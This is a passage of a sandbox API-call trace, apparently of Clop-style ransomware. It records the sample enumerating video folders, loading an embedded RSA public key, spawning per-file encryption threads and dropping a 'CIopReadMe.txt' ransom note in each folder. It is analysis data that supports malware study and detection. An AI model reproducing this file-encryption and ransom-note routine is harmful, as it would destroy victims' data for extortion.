lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0106.614] SetErrorMode (uMode=0x1) returned 0x1 [0106.614] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0106.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.614] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0106.614] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e9f8 [0106.614] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0106.614] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0106.614] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv", lpString2="..") returned 1 [0106.614] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv", lpString2=".") returned 1 [0106.614] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned 59 [0106.614] Sleep (dwMilliseconds=0xd) [0106.663] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.663] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="34Z4dfhq5fY_tfB.mkv" | out: lpString1="34Z4dfhq5fY_tfB.mkv") returned="34Z4dfhq5fY_tfB.mkv" [0106.663] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c [0106.664] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0xffffffff) returned 0x0 [0106.903] SetErrorMode (uMode=0x1) returned 0x1 [0106.903] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt") returned 69 [0106.903] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.904] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0106.904] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0106.904] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0106.904] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0106.904] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0106.904] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0106.917] WriteFile (in: hFile=0x6ac, lpBuffer=0x68a8f0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x68a8f0*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0106.917] CloseHandle (hObject=0x6ac) returned 1 [0106.918] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.918] lstrcmpW (lpString1="bvv97LkO.swf", lpString2="..") returned 1 [0106.918] lstrcmpW (lpString1="bvv97LkO.swf", lpString2=".") returned 1 [0106.918] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned 59 [0106.919] Sleep (dwMilliseconds=0xd) [0106.937] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.937] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="bvv97LkO.swf" | out: lpString1="bvv97LkO.swf") returned="bvv97LkO.swf" [0106.937] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0106.937] SetErrorMode (uMode=0x1) returned 0x1 [0106.937] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt") returned 69 [0106.937] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0106.937] CloseHandle (hObject=0x6b0) returned 1 [0106.937] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.937] lstrcmpW (lpString1="w w7R5kGwiD8.mkv", lpString2="..") returned 1 [0106.937] lstrcmpW (lpString1="w w7R5kGwiD8.mkv", lpString2=".") returned 1 [0106.937] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned 59 [0106.937] Sleep (dwMilliseconds=0xd) [0106.970] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.970] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="w w7R5kGwiD8.mkv" | out: lpString1="w w7R5kGwiD8.mkv") returned="w w7R5kGwiD8.mkv" [0106.970] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0106.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0106.970] SetErrorMode (uMode=0x1) returned 0x1 [0106.970] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt") returned 69 [0106.970] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\pqzym\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0106.970] CloseHandle (hObject=0x6a0) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0106.971] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0106.971] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0106.971] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0106.971] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0106.971] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e9f8 [0106.971] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0106.971] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0106.971] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0106.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.971] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0106.971] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0106.971] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0106.972] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0106.972] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0106.972] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 0 [0106.972] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0106.972] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0106.972] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0106.972] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0106.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0106.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0106.972] SetErrorMode (uMode=0x1) returned 0x1 [0106.972] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl" [0106.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0106.972] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0106.972] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*" [0106.972] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e7f8 [0106.972] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl") returned="_eEl" [0106.972] lstrcpyW (in: lpString1=0x2dc7014, lpString2="_eEl" | out: lpString1="_eEl") returned="_eEl" [0106.972] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.972] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.972] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4", lpString2="..") returned 1 [0106.972] lstrcmpW (lpString1="1HSy82Y7UuTj0Jd69.mp4", lpString2=".") returned 1 [0106.972] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned 38 [0106.972] Sleep (dwMilliseconds=0xd) [0107.029] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.029] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="1HSy82Y7UuTj0Jd69.mp4" | out: lpString1="1HSy82Y7UuTj0Jd69.mp4") returned="1HSy82Y7UuTj0Jd69.mp4" [0107.029] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0107.030] WaitForSingleObject (hHandle=0x6a8, dwMilliseconds=0xffffffff) returned 0x0 [0107.226] SetErrorMode (uMode=0x1) returned 0x1 [0107.226] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt") returned 48 [0107.226] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.226] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0107.226] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0107.226] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0107.226] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0107.226] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0107.226] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_eel\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x69c [0107.227] WriteFile (in: hFile=0x69c, lpBuffer=0x68a8f0*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc6e04, lpOverlapped=0x0 | out: lpBuffer=0x68a8f0*, lpNumberOfBytesWritten=0x2dc6e04*=0x759, lpOverlapped=0x0) returned 1 [0107.227] CloseHandle (hObject=0x69c) returned 1 [0107.227] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0107.227] lstrcmpW (lpString1="eztfYAzpK0.mkv", lpString2="..") returned 1 [0107.227] lstrcmpW (lpString1="eztfYAzpK0.mkv", lpString2=".") returned 1 [0107.227] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned 38 [0107.227] Sleep (dwMilliseconds=0xd) [0107.248] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.248] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="eztfYAzpK0.mkv" | out: lpString1="eztfYAzpK0.mkv") returned="eztfYAzpK0.mkv" [0107.248] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\_eEl\\" [0107.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0107.248] SetErrorMode (uMode=0x1) returned 0x1 